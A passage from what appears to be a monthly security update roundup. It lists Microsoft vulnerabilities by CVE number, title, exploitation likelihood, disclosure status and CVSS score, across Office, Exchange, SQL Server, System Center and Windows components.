Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65768">CVE-2026-65768</a></td><td><p>Microsoft Teams Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70310">CVE-2026-70310</a></td><td><p>Microsoft Word Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58651">CVE-2026-58651</a></td><td><p>Microsoft Word Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68809">CVE-2026-68809</a></td><td><p>Powerpoint Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70312">CVE-2026-70312</a></td><td><p>Powerpoint Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70316">CVE-2026-70316</a></td><td><p>Powerpoint Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70325">CVE-2026-70325</a></td><td><p>Powerpoint Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70320">CVE-2026-70320</a></td><td><p>Powerpoint Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70322">CVE-2026-70322</a></td><td><p>Powerpoint Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><h3>Server Software vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62912">CVE-2026-62912</a></td><td><p>Microsoft Exchange Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62910">CVE-2026-62910</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65813">CVE-2026-65813</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62911">CVE-2026-62911</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62913">CVE-2026-62913</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62915">CVE-2026-62915</a></td><td><p>Microsoft Exchange Server Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62914">CVE-2026-62914</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr></tbody></table><h3>SQL Server vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65811">CVE-2026-65811</a></td><td><p>Power BI Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr></tbody></table><h3>System Center vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54123">CVE-2026-54123</a></td><td><p>Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><h3>Windows vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65777">CVE-2026-65777</a></td><td><p>Active Directory Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59130">CVE-2026-59130</a></td><td><p>AMD Zen Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59131">CVE-2026-59131</a></td><td><p>AMD Zen Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61357">CVE-2026-61357</a></td><td><p>Application Information Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62892">CVE-2026-62892</a></td><td><p>Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65786">CVE-2026-65786</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65787">CVE-2026-65787</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65788">CVE-2026-65788</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59136">CVE-2026-59136</a></td><td><p>Microsoft COM for Windows Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62698">CVE-2026-62698</a></td><td><p>Microsoft Digest Authentication Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59133">CVE-2026-59133</a></td><td><p>Microsoft High Performance Computing (HPC) Pack Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59124">CVE-2026-59124</a></td><td><p>Microsoft High Performance Computing (HPC) Pack Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62784">CVE-2026-62784</a></td><td><p>Microsoft Local Security Authority Server (lsasrv) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62815">CVE-2026-62815</a></td><td><p>Microsoft QUIC Remote Code Execution Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59138">CVE-2026-59138</a></td><td><p>Microsoft Remote Registry Service Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61345">CVE-2026-61345</a></td><td><p>Microsoft Remote Registry Service Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66804">CVE-2026-66804</a></td><td><p>Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59135">CVE-2026-59135</a></td><td><p>Microsoft Windows Search Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65814">CVE-2026-65814</a></td><td><p>Microsoft Windows Storage Port Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6726">CVE-2026-6726</a></td><td><p>MITRE: CVE-2026-6726 TPM 2.0 Improper Object Slot Reuse</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-6727">CVE-2026-6727</a></td><td><p>MITRE: CVE-2026-6727 TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65671">CVE-2026-65671</a></td><td><p>Remote Access API Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65672">CVE-2026-65672</a></td><td><p>Remote Access API Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42976">CVE-2026-42976</a></td><td><p>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59134">CVE-2026-59134</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61352">CVE-2026-61352</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61363">CVE-2026-61363</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62824">CVE-2026-62824</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54113">CVE-2026-54113</a></td><td><p>Remote Procedure Call Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62781">CVE-2026-62781</a></td><td><p>RPC Runtime Library Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59125">CVE-2026-59125</a></td><td><p>Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62746">CVE-2026-62746</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62798">CVE-2026-62798</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62743">CVE-2026-62743</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62786">CVE-2026-62786</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61358">CVE-2026-61358</a></td><td><p>Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62818">CVE-2026-62818</a></td><td><p>Windows Active Directory Certificate Services (AD CS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49179">CVE-2026-49179</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61348">CVE-2026-61348</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68820">CVE-2026-68820</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70307">CVE-2026-70307</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65783">CVE-2026-65783</a></td><td><p>Windows Autopilot Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65779">CVE-2026-65779</a></td><td><p>Windows Autopilot Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65780">CVE-2026-65780</a></td><td><p>Windows Autopilot Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65778">CVE-2026-65778</a></td><td><p>Windows Autopilot Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65782">CVE-2026-65782</a></td><td><p>Windows Autopilot Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65781">CVE-2026-65781</a></td><td><p>Windows Autopilot Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62908">CVE-2026-62908</a></td><td><p>Windows Backup Engine Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61927">CVE-2026-61927</a></td><td><p>Windows Bind Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61934">CVE-2026-61934</a></td><td><p>Windows Bind Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62705">CVE-2026-62705</a></td><td><p>Windows Bind Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62722">CVE-2026-62722</a></td><td><p>Windows Bind Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62713">CVE-2026-62713</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62771">CVE-2026-62771</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62728">CVE-2026-62728</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62772">CVE-2026-62772</a></td><td><p>Windows Container Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62775">CVE-2026-62775</a></td><td><p>Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-72971">CVE-2026-72971</a></td><td><p>Windows Container Isolation FS Filter Driver (unionfs.sys) Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>Yes</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61936">CVE-2026-61936</a></td><td><p>Windows Defender Firewall Service Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62893">CVE-2026-62893</a></td><td><p>Windows Deployment Services TFTP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62747">CVE-2026-62747</a></td><td><p>Windows Device Association Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62710">CVE-2026-62710</a></td><td><p>Windows Device Association Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66802">CVE-2026-66802</a></td><td><p>Windows Device Health Attestation (DHA) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-71331">CVE-2026-71331</a></td><td><p>Windows Device Health Attestation (DHA) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65785">CVE-2026-65785</a></td><td><p>Windows DHCP Client Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62755">CVE-2026-62755</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62736">CVE-2026-62736</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61361">CVE-2026-61361</a></td><td><p>Windows DHCP Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62812">CVE-2026-62812</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62761">CVE-2026-62761</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62776">CVE-2026-62776</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62803">CVE-2026-62803</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62807">CVE-2026-62807</a></td><td><p>Windows DHCP Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62718">CVE-2026-62718</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62715">CVE-2026-62715</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62716">CVE-2026-62716</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62742">CVE-2026-62742</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62745">CVE-2026-62745</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62720">CVE-2026-62720</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62714">CVE-2026-62714</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62814">CVE-2026-62814</a></td><td><p>Windows DHCP Server Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62823">CVE-2026-62823</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61923">CVE-2026-61923</a></td><td><p>Windows Display Enhancement Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70304">CVE-2026-70304</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70330">CVE-2026-70330</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62769">CVE-2026-62769</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62778">CVE-2026-62778</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62881">CVE-2026-62881</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62883">CVE-2026-62883</a></td><td><p>Windows 